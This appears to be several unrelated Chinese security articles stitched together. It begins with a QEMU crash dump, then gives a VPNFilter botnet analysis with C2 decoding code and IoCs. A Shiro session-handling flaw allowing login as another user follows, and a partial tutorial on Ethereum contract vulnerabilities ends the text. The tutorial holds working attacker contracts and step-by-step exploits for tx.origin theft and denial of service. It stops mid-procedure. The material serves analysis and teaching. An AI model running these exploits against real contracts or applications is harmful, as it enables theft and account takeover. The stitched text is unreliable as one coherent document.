RIP: 0x7fff9457d8a8 (<slirp_uma_alloc>: mov QWORD PTR [rax+0x20],rdx)
R8 : 0x0
R9 : 0x10
R10: 0x41414141 ('AAAA')
R11: 0x7fff8e5f1de4 ('A' ...)
R12: 0x140e720 --> 0xdead0002
R13: 0x7fff8e5f1704 ('A' ...)
R14: 0x140e7b0 --> 0x7fff8e5f16dc ('A' ...)
R15: 0x140e730 --> 0x219790326
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7fff9457d89f <slirp_uma_alloc>: test rax,rax
0x7fff9457d8a2 <slirp_uma_alloc>: je 0x7fff9457d8b0 <slirp_uma_alloc>
0x7fff9457d8a4 <slirp_uma_alloc>: mov rdx,QWORD PTR [rbx+0x20]
=> 0x7fff9457d8a8 <slirp_uma_alloc>: mov QWORD PTR [rax+0x20],rdx
0x7fff9457d8ac <slirp_uma_alloc>: mov rax,QWORD PTR [rbx+0x18]
0x7fff9457d8b0 <slirp_uma_alloc>: mov rdx,QWORD PTR [rbx+0x20]
0x7fff9457d8b4 <slirp_uma_alloc>: mov QWORD PTR [rdx],rax
0x7fff9457d8b7 <slirp_uma_alloc>: mov rax,QWORD PTR [r12+0x88]
[------------------------------------stack-------------------------------------]
0000| 0x7fff8ccf39b0 --> 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 (--> ...)
0008| 0x7fff8ccf39b8 --> 0x140e720 --> 0xdead0002
0016| 0x7fff8ccf39c0 --> 0x7fff8e5eddde --> 0x5b0240201045
0024| 0x7fff8ccf39c8 --> 0x140dac4 --> 0x0
0032| 0x7fff8ccf39d0 --> 0x140e730 --> 0x219790326
0040| 0x7fff8ccf39d8 --> 0x140dac4 --> 0x0
0048| 0x7fff8ccf39e0 --> 0x7fff8ccf3a10 --> 0x7fff8ccf3ab0 --> 0x7fff8ccf3bb0 --> 0x7fff8ccf3c90 --> 0x7fff8ccf3cf0 (--> ...)
0056| 0x7fff8ccf39e8 --> 0x7fff9457df41 (<uma_zalloc_arg>: test rax,rax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
可以看到该漏洞被成功触发，调试器抛出了`Segmentation fault`。 | 社区文章 |
# VPNFilter-新型IoT Botnet深度解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告编号： 2018-05-30
报告来源： 360CERT
报告作者： hjy, redrain
更新日期： 2018-05-30
## 0x00 事件概述
2018年5月23日，Cisco Talos团队披露了一起名为”VPNFilter”的IoT
Botnet事件，360CERT团队进行了详细的事件跟踪，并形成本文分析。
VPNFilter是一个通过IoT设备漏洞组建Botnet，多阶段，多平台，模块化，多功能的恶意网络攻击行动，从目前掌握的情况，总共有三个阶段。
**第一阶段** ，作为dropper获得感染设备的持续化访问权限，为第二阶段打开入口，该阶段采取了很强的C2隐藏行为和安全对抗行为。
**第二阶段** ，作为信息收集角色和模块功能平台，能对设备文件系统，设备常规信息收集，并提供命令执行能力和设备管理能力，并且在某些平台中实现了自我销毁。
**第三阶段**
，作为第二阶段的恶意功能模块下发，为第二阶段提供了更有目的性的攻击行为能力，截至目前，我们所掌握到的两个插件，一个提供tor通信，另一个用于数据包嗅探。
**关于VPNFilter特点描述**
* 具有强对抗性和周密计划性
* 多阶段执行
* Dropper通过图床进行上下行
* 采用和BlackEnergy相似的变种RC4算法对信息加密（来自Talos的观点）
* 利用图片EXIF获取C2
* C2通过Tor流量进行交互
* 通过利用Linksys、Mikrotik、Netgear、TP-Link、QNAP的相关漏洞进行传播感染
**基础关联情况**
数据来源于360-netlab
**VPNFilter感染时间轴**
## 0x01 stage1分析
cisco报告中stage1的样本有2个，1个为MIPS架构，1个为x86架构。我们重点分析了x86架构的样本(SHA256:0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92)。
样本最初于2017年6月12日被提交到VirusTotal，文件名为C:\Users\chli\Documents\qsync.php。
设置守护进程。
通过写crontab实现持久化，这在IOT病毒中还是第一次出现。crontab格式为{minute}{hour}{day-of-month}{month}{day-of-week}， _/5_ *表示每5分钟执行一次。
样本中的关键字符串都经过了变形的RC4算法加密，这也是将其与BlackEnergy关联起来的重要原因之一。
标准的RC4算法中对S盒的初始化如下：
样本的RC4算法中对S盒的初始化如下：
样本中的算法实际上把swap换成了异或，key是硬编码的%^:d。对12个被加密的字符串解密后的结果如下。
/var/run/client.crt
/var/run/client.key
/var/run/client_ca.crt
0.3.9qa
/var/run/msvf.pid
<http://toknowall.com/manage/content/update.php>
/var/vpnfilter
/update/test
<http://photobucket.com/user/nikkireed11/library>
<http://photobucket.com/user/kmila302/library>
<http://photobucket.com/user/lisabraun87/library>
<http://photobucket.com/user/katyperry45/library>
样本首先尝试从photobucket.com下载图片，从EXIF的经纬度中提取C2地址。如果失败尝试从toknowall.com/manage/content/update.php下载图片，重复同样的操作。对toknowall.com的历史解析如下。
忽略Cloudflare，看到历史解析记录188.165.218.31，直接访问上面解密后出来的188.165.218.31/manage/content/update.php。现在C2地址失效了，看备份web.archive.org/web/20180509165520/toknowall.com/manage/content/update.php。
可以看出来是个图片。
查看EXIF。
GPSLatitude 1193143 deg 55' 21.00"
GPSLongitude 4296160226 deg 47' 54.00"
在样本中通过0x08049160处的函数实现还原出C2地址操作：
const char lat[] = "97 30 1193143"; // from Exif data
const char lon[] = "4294967178 140 4294967274"; // from Exif data
int o1p1, o1p2, o2p1, o3p1, o3p2, o4p1;
uint8_t octets[4];
sscanf(lat, "%d %d %d", &o1p2, &o1p1, &o2p1);
sscanf(lon, "%d %d %d", &o3p2, &o3p1, &o4p1);
octets[0] = o1p1 + ( o1p2 + 0x5A );
octets[1] = o2p1 + ( o1p2 + 0x5A );
octets[2] = o3p1 + ( o3p2 + 0xB4 );
octets[3] = o4p1 + ( o3p2 + 0xB4 );
printf("%u.%u.%u.%u\n", octets[0], octets[1], octets[2], octets[3]);
还原出来C2地址217.12.202.40，相关历史如下。
时间 域名
2017-05-15 [www.redstargel.ru](www.redstargel.ru)
2017-05-07 redstargel.ru
2016-10-24 redstargel.ru
2016-10-22 jojoran.ru
2016-08-03 jojoran.ru
2016-05-22 bellasweets.ru
2016-05-21 bellasweets.ru
2016-05-19 bellasweets.ru
2016-05-15 bellasweets.ru
2016-05-08 bellasweets.ru
2016-05-07 bellasweets.ru
2016-04-23 bellasweets.ru
2016-03-14 bellasweets.ru
2016-03-04 bellasweets.ru
2016-03-03 bellasweets.ru
2016-03-02 bellasweets.ru
2015-12-26 bellasweets.ru
2015-12-25 bellasweets.ru
2015-12-24 bellasweets.ru
2015-12-03 bellasweets.ru
2015-11-20 bellasweets.ru
2015-11-19 bludmaster.ru
2015-11-01 bellasweets.ru
2015-10-31 bellasweets.ru
如果两次图片下载都失败了，则监听本地socket，判断IP、magic number等，从数据包中提取C2地址。
确认从C2地址下载的文件大于1000字节。
chmod511使下载的文件具有可执行权限， 然后通过sys_execve系统调用执行。
## 0x02 stage2分析
cisco报告中stage2的样本有8个，2个为MIPS架构，2个为ARM架构，3个为x86架构。在3个x86架构的样本中，有一个(SHA256:9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17)和其它两个差别较大。因为该样本是一个调试样本，包含了一些调试信息。
根据调试信息，可以非常清晰看到stage2的执行流程。
该调试样本首先初始化之后使用和stage1同样的算法和密钥解密出字符串，然后等待stage3的tor模块进行通信。将ip地址、mac地址等信息整理成json格式的数据，发给C2地址217.12.202.40，94.242.222.68和91.121.109.209。
继续分析不包含调试信息的样本(SHA256:8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1)，可以看到创建了一个模块目录/var/run/vpnfilterm和一个工作目录/var/run/vpnfilterw(目录名不是固定的，和文件名有关，比如这里vpnfilter是文件名)。
接收指令并执行的部分如下。
download命令能下载文件到/var/tmp/vpn.tmp目录。
restart命令能通过sys_exit系统调用结束当前进程。
reboot命令能通过sys_reboot系统调用重启系统。
copy命令能读取系统上的文件。
exec命令能调用下面这些解释器执行命令。
/bin/sh
/bin/ash
/bin/bash
/bin/shell
该样本和调试样本相比，除了不打印调试信息之外还有下面这些区别。
1.解密字符串虽然还是使用的和stage1相同的算法，但是key是g&*kdj$dg0_@@7’x。
2.会将输入输出重定向到/dev/null，也就是不显示输入输出，并且通过sys_unlink系统调用删除自己。
3.不同于调试样本中使用固定的user agent，该样本每次从下列9个user agent中随机选择。
Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0
curl/7.47.0
Wget/1.17.1 (linux-gnu)
git/2.7.4
Google Chrome/64.0.3282.140 Windows
Google Chrome/64.0.3282.140 Linux
Lynx/2.8.8pre.4 libwww-FM/2.14
python-requests/2.18.4
## 0x03 stage3分析
cisco报告中stage3的样本有2个，1个为MIPS架构，主要用于数据包嗅探；1个为x86架构，主要用于tor通信。我们重点分析了MIPS架构的样本(SHA256:f8286e29faa67ec765ae0244862f6b7914fcdde10423f96595cb84ad5cc6b344)。
样本中查找了数据包中下面这些字段：
1.tmUnblock.cgi
tmUnblock.cgi是cisco/linksys路由器中的一个模块，随手一搜可以发现该模块包含大量漏洞，并且之前也被各种病毒利用。
2.*modbus*\n%s:%uh->%s:%hu
Modbus是施耐德电气发明的一个总线协议。
3.User=/Name=/Login=/Pass=等等
这些都是与HTTP BASIC认证相关的字段，查找这些字段能够获取登录凭证。
## 0x04 后续
在22日Talos披露报告之前，FBI当局即表示接管控制了一个大型IoT Botnet，并认为和APT-28组织的相关行动有关：
得出这一结论的主要来源是Talos认为在stage1部分采用了和此前BlackEnergy相似的RC4变种算法，即替换swap为异或，因为这样的变种算法极为少见且出现在BlackEnergy中习惯使用，所以能形成重合观点。
但由于BlackEnergy行动的披露，极有可能类似实现被其他组织重用，所以我们认为并不能完全作为确凿证据相关，于是我们展开了调查。
我们通过对BlackEnergy的历史行动研究发现，早在2014年和BlackEnergy的相关行动就能看出其已经着手IoT
Botnet组建，且也是通过分段化的形式逐步构建僵尸网络，这样的大规模行动在APT行为里并不常见。
根据VPNFilter三个阶段的行为，我们并不认为这是一个简单粗暴的IoT
Botnet，攻击者意图构建一个广泛的，有自我隐藏能力，可以灵活提供攻击能力的大型恶意软件族群，由stage3的动作可以看出攻击者有极强的目的性。
我们在此基础上虽然无法判断是否是APT-28的实锤，但是一定能得出的结论是，VPNFilter是一个高度工程化，有周密计划和目的性的大型精巧的攻击行动。
## 0x05 相关IoC
**STAGE1 dropper url:**
photobucket[.]com/user/nikkireed11/library
photobucket[.]com/user/kmila302/library
photobucket[.]com/user/lisabraun87/library
photobucket[.]com/user/eva_green1/library
photobucket[.]com/user/monicabelci4/library
photobucket[.]com/user/katyperry45/library
photobucket[.]com/user/saragray1/library
photobucket[.]com/user/millerfred/library
photobucket[.]com/user/jeniferaniston1/library
photobucket[.]com/user/amandaseyfried1/library
photobucket[.]com/user/suwe8/library
photobucket[.]com/user/bob7301/library
toknowall[.]com
**STAGE2 C2:**
91.121.109[.]209
217.12.202[.]40
94.242.222[.]68
82.118.242[.]124
46.151.209[.]33
217.79.179[.]14
91.214.203[.]144
95.211.198[.]231
195.154.180[.]60
5.149.250[.]54
91.200.13[.]76
94.185.80[.]82
62.210.180[.]229
api.ipify[.]org?format=json
zuh3vcyskd4gipkm[.]onion/bin32/update.php
tljmmy4vmkqbdof4[.]onion/bin32/update.php
6b57dcnonk2edf5a[.]onion/bin32/update.php
6b57dcnonk2edf5a[.]onion/bin32/update.php
**Malware**
STAGE1
50ac4fcd3fbc8abcaa766449841b3a0a684b3e217fc40935f1ac22c34c58a9ec
0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92
STAGE2
9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17
d6097e942dd0fdc1fb28ec1814780e6ecc169ec6d24f9954e71954eedbc4c70e
4b03288e9e44d214426a02327223b5e516b1ea29ce72fa25a2fcef9aa65c4b0b
9eb6c779dbad1b717caa462d8e040852759436ed79cc2172692339bc62432387
37e29b0ea7a9b97597385a12f525e13c3a7d02ba4161a6946f2a7d978cc045b4
776cb9a7a9f5afbaffdd4dbd052c6420030b2c7c3058c1455e0a79df0e6f7a1d
8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1
0649fda8888d701eb2f91e6e0a05a2e2be714f564497c44a3813082ef8ff250b
STAGE3
f8286e29faa67ec765ae0244862f6b7914fcdde10423f96595cb84ad5cc6b344
afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719
## 0x06 时间线
**2018-05-23** Cisco Talos披露VPNFilter事件
**2018-05-30** 360CERT发布对病毒的详细分析
## 0x07 参考链接
1. <https://blog.talosintelligence.com/2018/05/VPNFilter.html>
2. <http://www.documentcloud.org/documents/4482917-FBI-Seizure-Affidavit.html> | 社区文章 |
事情的起因是帮班级开发了一个管理平台，其中的权限校验部分使用了shiro。上线后有一个同学发现了一个漏洞，可以造成任意用户登录，绕过Api的身份验证。
我们在使用shiro进行身份认证时，需要根据自己的需求实现Realm，实现doGetAuthentication（用户身份认证信息）以及doGetAuthorizationInfo（用于权限校验信息）。
## 问题代码
重写的doGetAuthenticationInfo方法，在使用userMapper查询到用户信息之后，将user存到了shiro的session之后。
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException,NumberFormatException {
if (token.getPrincipal()==null){
throw new UnknownAccountException();
}
Integer studentId = Integer.valueOf((String) token.getPrincipal());
//取出数据库中的指定User
User user= Optional.ofNullable(userMapper.selectByStudentId(studentId)).orElseThrow(UnknownAccountException::new);
SimpleAuthenticationInfo info=new SimpleAuthenticationInfo(user,user.getPassword(),getName());
Session session= SecurityUtils.getSubject().getSession();
//存到shiro的session中（对于Web来说本质是HttpSession）
session.setAttribute("USER_SESSION",user);
return info;
}
登录处：
Subject subject=SecurityUtils.getSubject();
UsernamePasswordToken token=new UsernamePasswordToken(studentId,password);
try {
subject.login(token);
}
之后的API处的身份验证：
if(!SecurityUtils.getSubject().isAuthenticated()) {
return resultJson.error(401,"未授权");
}
User user = CommonUtil.getUserFromShiroSession();
//其中的getUserFromShiroSession():
public static User getUserFromShiroSession(){
return (User)SecurityUtils.getSubject().getSession().getAttribute("USER_SESSION");
}
> 身份认证的逻辑就是：
身份验证时，先验证当前的Subject是否已经授权，如果已经授权的话，获取当前用户采用了从shiro的session中获取的方法
这会导致什么问题呢？先了解一下shiro身份认证的过程
## Shiro进行身份认证的过程
我们先Debug跟一下，理一下shiro的身份验证的逻辑。
断点下在login处，我们跟进login方法。
login默认调用的是DelegatingSubject的login方法。
可以看到，其中的逻辑为：调用securityManger的login方法。而其中的改变Subject的成员变量authenticated的值在login的下面。
跟进securityManger的login方法:
跟进authenticate(token)；我们进入authenticate方法，单步往下跟最后可以跟到AuthenticatingRealm的`getAuthenticationInfo`方法。可以看到此处调用了我们重写的`doGetAuthenticationInfo`方法，也就是在这里，依照我们的校验逻辑，shiro中的session就被赋值完成了。
接着我们回到`getAuthenticationInfo`方法,其中调用了`assertCredentialsMatch(token,info)`，将用户输入token，与查出的用户info信息比对，不匹配就抛出异常，异常延调用栈一直抛到我们的subject.login()方法。
这里就可以看出，即使登录失败，我们在`doGetAuthenticationInfo`中设置的session属性依然可以生效。而且由于异常栈抛出的过程中并没有创建subject,也不会重新设置authenticated的状态。
## 问题根源
**当用户重复登录的时候，会改变session中的USER_SESSION的值，但是并不会改变用户isAuthenticated的状态**
当A用户使用自己的账号登录成功之后（这时Subject.isAuthenticated()已经变成了true），带着登录成功的Session，尝试登录另一个用户B的账号，Shiro在`Subject.login()`的时候调用了我们重写的`doGetAuthenticationInfo(AuthenticationToken
token)`方法。
这时候，Session中的USER_SESSION的值已经变成了用户B的信息，而且shiro这时并不会更新isAuthenticated的状态，这样一来用户A就可以绕开了身份验证，能够以用户B的身份访问其他的API。
## 拓展
其实当时的写法参考了这篇文章：
[一起来学SpringBoot | 第二十六篇：轻松搞定安全框架（Shiro）](www.spring4all.com/article/1315)，
这篇文章的写法也出了问题，出问题的地方在权限校验处。
Realm：
@Configuration
public class AuthRealm extends AuthorizingRealm {
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token)
throws AuthenticationException {
String principal = (String) token.getPrincipal();
User user = Optional.ofNullable(DBCache.USERS_CACHE.get(principal)).orElseThrow(UnknownAccountException::new);
if (!user.isLocked()) {
throw new LockedAccountException();
}
SimpleAuthenticationInfo authenticationInfo = new SimpleAuthenticationInfo(principal, user.getPassword(), getName());
Session session = SecurityUtils.getSubject().getSession();
//在进行权限校验的时候，直接从session中取对应的值
session.setAttribute("USER_SESSION", user);
return authenticationInfo;
}
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principal) {
Session session = SecurityUtils.getSubject().getSession();
//这里将user存到了USER_SESSION中
User user = (User) session.getAttribute("USER_SESSION");
SimpleAuthorizationInfo info = new SimpleAuthorizationInfo();
Set<String> roles = new HashSet<>();
roles.add(user.getRoleName());
info.setRoles(roles);
final Map<String, Collection<String>> permissionsCache = DBCache.PERMISSIONS_CACHE;
final Collection<String> permissions = permissionsCache.get(user.getRoleName());
info.addStringPermissions(permissions);
return info;
}
}
我们就用这篇文章的代码做一个demo测试一下，Realm与文章中的相同：
我们创建两个用户：
我们编写以下Controller
假设我们现在是user2,角色是guest,hello接口只有admin角色的用户可以访问，我们访问不了hello接口。
接着我们登录user1，由于我们不知道user1的密码，所以登录失败。
但是此时我们的USER_SESSION已经更新成user1的，所以我们的角色也变成了admin。当调用
`doGetAuthorizationInfo`获取info 的时候，获取到的info中的role就为admin。此时我们再次访问/hello
## 正确使用shiro
从前面的分析可知，在shiro中获取当前用户信息，不要使用自定义的Realm中将信息存到session里。
shiro中正确获取当前用户的方法应该为`(User)
SecurityUtils.getSubject().getPrincipal()`来获取，这里是因为Subject中的principal只有在用户成功登录之后才进行更新。 | 社区文章 |
**作者： 天宸@蚂蚁安全实验室
原文链接：<https://mp.weixin.qq.com/s/Fj6cZ21yuGXDT0qStLaopw>**
上期分享中，灵巧为大家介绍了智能合约安全系列，并揭秘了以太坊特性上多种新漏洞类型。今天我们进入漏洞攻防术-下集，探索以太坊上那些旧貌换新颜的传统漏洞类型。
权限控制问题属于传统的漏洞类型，在绝大多数平台和系统上都有发生。以太坊上目前发现两类权限控制问题：完全无访问控制和有访问控制，但是访问控制不当，没有达到访问控制的效果。
## **权限控制漏洞**
### **合约对用户无访问控制**
**这类问题一个典型的案例是 Constructor 函数定义不当。**
**漏洞介绍**
Constructor 构造函数是特殊函数，在初始化合约时构造函数通常会执行关键的特权任务。在 v0.4.22
之前，构造函数被定义为与合约同名的函数。因此，在开发中更改合约名称时，如果不更改构造函数名称，则它将变为普通的可调用函数，导致被攻击。
**漏洞示例**
如果合约名称被修改，或者在构造函数名称中出现错字，使得它不再与合约名称匹配，则构造函数的行为将像普通函数一样。这可能会导致可怕的后果，尤其是在构造函数正在执行特权操作的情况下，考虑以下合约：
contract OwnerWallet {
address public owner;
//constructor
function ownerWallet(address _owner) public {
owner = _owner;
}
// fallback. Collect ether.
function () payable {}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(this.balance);
}
}
该合约收集以太币，并且仅允许所有者通过调用 withdraw()
函数来提取所有以太币。出现此问题是由于以下事实：构造函数未在合同之后准确命名。具体来说，ownerWallet 与 OwnerWallet
不同。因此，任何用户都可以调动ownerWallet()函数，将自己设置为所有者，然后通过调用withdraw()获取合同中的所有以太币。
**攻击示例**
任何用户都可以调用 ownerWallet() 函数，将自己设置为所有者，然后通过调用 withdraw() 获取合约中的所有以太币。
**规避建议**
此问题已在0.4.22版的Solidity编译器中得到主要解决。此版本引入了一个 constructor
关键字，该关键字指定构造函数，而不是要求函数名称与合同名称匹配。建议使用此关键字指定构造函数，以防止出现上面突出显示的命名问题。
### **合约对用户访问控制不当**
**这类问题的典型案例是 tx.origin 使用不当，导致访问控制被绕过。**
**漏洞介绍**
合约使用 tx.origin 作为身份认证的凭据，就能够被攻击者巧妙的绕过。攻击者只需要诱骗合约向其掌控的攻击合约发送少量代币，即可绕过 tx.origin
的身份认证。
**漏洞示例**
pragma solidity ^0.4.18;
contract TxOriginVictim { address public owner; function TxOriginVictim() payable{ owner = ms
pragma solidity ^0.4.18;
contract TxOriginVictim {
address public owner;
function TxOriginVictim() payable{
owner = msg.sender;
}
function transferTo(address to, uint amount) public {
require(tx.origin == owner);
to.call.value(amount)();
}
function() payable public {}
function getBalance() public constant returns (uint256) {
return this.balance;
}
}
**攻击步骤**
攻击代码：
contract TxOriginAttacker {
address public owner;
function TxOriginAttacker() public {
owner = msg.sender;
}
function() payable public {
TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
}
function getBalance() public constant returns (uint256) {
return this.balance;
}
}
攻击步骤：
1.account A 部署 TxOriginVictim 合约，owner 是 account A，转入 10 ether。
2.account B 部署 TxOriginAttacker 合约，owner 是 account B，记录 account B 的余额，为后续做比较。
3.攻击者诱惑受害者向 TxOriginAttacker 转入少量的币，即调用 transferTo 函数向 TxOriginAttacker 地址转账。
4.查看 account B 的余额，可以看到 TxOriginVictim 的币全部转到 account B 账户了，攻击成功。
**规避建议**
禁止使用 tx.origin 作为身份认证的凭据。如需要判定消息来源，可使用 msg.sender 。
## **未检查返回值漏洞**
#### **gasless send 漏洞**
**漏洞介绍**
当使用 send 发送币到一个合约时，可能发生 out of gas 异常。在 0.4.0 之前，send 可用的 gas
数量由发送的币的数量决定，如果发送的币的数量是 0，那么 send 的 gas 数是 0，否则是 2300。在 0.4.0 及之后，send 可用的 gas
数量统一是 2300。
调用 send 发送币到一个合约时，会自动执行该合约的 fallback 函数。如果 fallback
函数中有很“贵”的操作，比如修改了合约的全局变量，那么 2300 gas 不够用，就会抛出 out of gas 异常，转币失败。此时如果调用者没有判断
send 的返回值而默认转币成功，那么可以导致双方账目不平。
**漏洞示例**
pragma solidity ^0.4.10;
contract GaslessSend {
address owner;
function GaslessSend () payable public{
owner=msg.sender;
}
function pay(uint n, address d) public {
d.send(n);
}
// 便于观察执行是否成功
function getBalance() constant returns(uint){
return this.balance;
}
}
**攻击步骤**
攻击代码：
contract D1 {
uint public count = 0;
function() payable external {
count = count+1;
}
function getBalance() constant returns(uint){
return this.balance;
}
}
contract D2 {
function() payable external {}
function getBalance() constant returns(uint){
return this.balance;
}
}
攻击步骤：
1.accountA 部署 GaslessSend 合约，并存入 2 ether。
2.accountB 部署 D1 合约。D1合约有很“贵”的操作count+1。
3.accountC 部署 D2 合约。D2合约没有贵的操作。
4.调用 GaslessSend 的 getBalance 函数，查看一下余额，然后把 Gas Limit 设置为 30000，向 D1 转入 2
wei。查看 log，确认交易发送成功。
5.调用 D1 的 getBalance 函数，查看余额，发现 D1 的余额并没有改变，说明转账失败。但 GaslessSend
并不知情，这样会引起双方账目不一致。这是因为D1里有很贵的操作，30000gas不够用，交易会回滚。
6.重复步骤 4、5 向 D2 合约转入 2 wei。查看 D2 合约的余额，发现 D2 余额变为 2
wei，说明转账成功。D2是D1的对比实验，说明尽管调用同一个合约的同一个办法，但由于转账目的合约实现的不同，调用结果也会不同，需识别这种风险。
**规避建议**
在使用 send 函数时，被调用的合约不一定能执行成功，send 会返回 false。要判断 send 的返回值，在 send 返回 false
时，进行相应处理，否则会引起双方账目不一致。
转币函数推荐使用 transfer，transfer 函数执行失败时会抛出异常同时整个状态会回滚，合约开发者能够及时发觉异常信息。
#### **exception disorder 漏洞**
**漏洞介绍**
Solidity 处理异常的方式由函数的调用方式决定。简单来说有两类调用方式：直接调用，通过 call 指令调用。
对于直接调用的方式，如果发生异常，Solidity 会直接 revert 到最顶层的调用栈，所有操作都会被
revert，合约的状态会回到最顶层的调用未发生时的状态。
对于 call 指令的调用，如果发生异常，Solidity 只会 revert 到 call 指令所在的函数。如果 call
指令所在的函数没有判断异常，那么异常不会向上传递，就会导致逻辑混乱。
**漏洞示例**
contract Alice{
uint256 public n = 0;
function pong() public{
n = n + 1;
revert();
}
}
**攻击步骤**
contract Bob{
uint256 public x = 0;
uint256 public y = 0;
function ping1(Alice alice) public returns (uint256) {
x = 2;
alice.pong();
x = 4;
}
function ping2(address alice) public returns (uint256) {
y = 2;
alice.call(bytes4(keccak256("pong(uint256)")));
y = 4;
}
}
攻击步骤：
1.account A 部署 Alice合约。
2.account B 部署 Bob合约--- 这里只是尽量模拟真实的环境，用哪个 account部署并不影响结果。
3.调用 Bob 合约的 ping1 方法，参数传入 Alice 合约的地址。若发生异常，log则可以看到调用失败。
4.此时观察 Alice 合约的 n 值，值为 0，说明 Alice 合约内发生的操作被 revert。再观察 Bob 合约 x 的值，值为 0
，表示所有的操作都被 revert。符合预期。
5.调用 Bob 合约的 ping2 方法，参数传入 Alice 合约的地址。尽管发生异常，log 不会直接显示调用失败。
6.此时观察 Alice 合约的 n 值，值为 0，说明 Alice 合约内发生的操作被 revert。再观察 Bob 合约 y 的值，值为 4 ，表示
Bob 合约的操作没有被 revert。不符合预期，会产生逻辑上的混乱。
**规避建议**
1.如果想要发生异常之后，revert 所有的操作，推荐使用直接调用的方式。
2.如果有充分的理由不能使用直接调用的方式，需要严格判断 call 函数的返回值，并做相应的处理。
### **DoS 漏洞**
拒绝服务漏洞是一种常见的漏洞。其攻击形式多种多样，攻击的目的是让用户短暂的或永久的不能使用合约提供的服务，包括利用的漏洞类型也多种多样。
#### **king of ether 代表的 DoS 漏洞类型**
**这种 DoS 漏洞类型是：依赖外部调用的进展，如果外部调用执行失败，后续的操作也就无法执行，导致拒绝服务。**
**漏洞介绍**
King of the Ether Throne 是一个竞选国王的合约游戏，游戏规则是如果新玩家发送的 ETH 数量大于当前指定的 price
的数量，合约就向上一个国王发送 price 数量的 ETH，新玩家就会成为新的国王，然后合约把 price 调的更高一些，等待下一位国王。
**漏洞示例**
pragma solidity ^0.4.10;
contract PresidentOfCountry {
address public president;
uint256 price;
function PresidentOfCountry(uint256 _price) {
require(_price > 0);
price = _price;
president = msg.sender;
}
function becomePresident() payable {
require(msg.value >= price); // must pay the price to become president
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = price * 2; // we double the price to become president
}
}
**攻击示例**
攻击代码：
contract Attack {
function () { revert(); }
function Attack(address _target) payable {
_target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
}
}
攻击步骤：
1.account A 发布合约，指定初始 price。
2.account B 发布 Attack 合约，指定攻击目标地址，和存入大于当前 price 的 ether，保证 Attack 合约能够成为
president。
3.此后任何账户如果试图成为 president ，会触发转币给 Attack 合约的 fallback 函数。也就是会调用
revert()；导致转币失败。如此就会阻止其他账户成为 president。
**规避建议**
采用“取回”模式发送币，让之前发送的人自己取回币。这样取回的人就不能作恶，否则就会失去代币。
示例代码：
function withdraw() public {
uint amount = pendingWithdrawals[msg.sender];
// 记住，在发送资金之前将待发金额清零
// 来防止重入（re-entrancy）攻击
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
#### **GovernMental 骗局代表的 DoS 漏洞类型**
**这种 DoS 漏洞类型是：依赖外部可以操作的数据，如数组或映射，如果外部操作改变了数据，修改后的数据使得后续的操作无法执行，导致拒绝服务。**
**漏洞介绍**
GovernMental 是一个类似庞氏骗局的游戏合约。游戏规则是债权人（玩家）至少投入 1 ETH 参与游戏，债权人有望获得 1ETH + 10% 利息。
发送给合同的 ETH
是这样分配的：5％分配给头奖，5％分配给管理政府的腐败精英（合同所有者），90％用来按信用日期顺序偿还债权人。如果“政府”（合同）在12个小时内未收到新钱，则最新的债权人将获得头奖，其他所有债权人将失去其债权。
**漏洞示例**
合约所有者希望在投资者之间分配代币。
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets
// ... extra functionality, including transfertoken()
function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value * 5); // 5 times the wei sent
}
function distribute() public {
require(msg.sender == owner); // only owner
for(uint i = 0; i < investors.length; i++) {
// here transferToken(to,amount) transfers "amount" of tokens to the address "to"
transferToken(investors[i],investorTokens[i]);
}
}
}
此合约中的循环遍历的数组可以被人为扩充。
**攻击示例**
攻击者可以创建许多用户帐户，让 investor 数据变得更大。原则上来说，可以让执行 for 循环所需的 Gas 超过区块 Gas 上限，这会使
distribute() 函数变得无法操作。
**规避建议**
合约不应该遍历可以被外部用户人为操纵的数据结构。建议使用 withdrawal 模式，每个投资者都会调用取出函数独立取出代币。
#### **freezing ether 代表的 DoS 漏洞类型**
**这种 DoS 的漏洞类型是：依赖外部的合约库。如果外部合约的库被删除，那么所有依赖库的合约服务都无法使用。**
**漏洞介绍**
有些合约用于接受ether，并转账给其他地址。但是，这些合约本身并没有自己实现一个转账函数，而是通过delegatecall去调用一些其他合约中的转账函数去实现转账的功能。
万一这些提供转账功能的合约执行suicide或self-destruct操作的话，那么，通过delegatecall调用转账功能的合约就有可能发生ether被冻结的情况。
**漏洞示例**
Parity 钱包遭受的第二次攻击是一个很好的例子。
Parity 钱包提供了多签钱包的库合约。当库合约的函数被 delegatecall 调用时，它是运行在调用方（即：用户多签合约）的上下文里，像
m_numOwners 这样的变量都来自于用户多签合约的上下文。另外，为了能被用户合约调用，这些库合约的初始化函数都是public的。
库合约本质上也不过是另外一个智能合约，这次攻击调用使用的是库合约本身的上下文，对调用者而言这个库合约是未经初始化的。
**攻击示例**
1.攻击者调用初始化函数把自己设置为库合约的 owner。
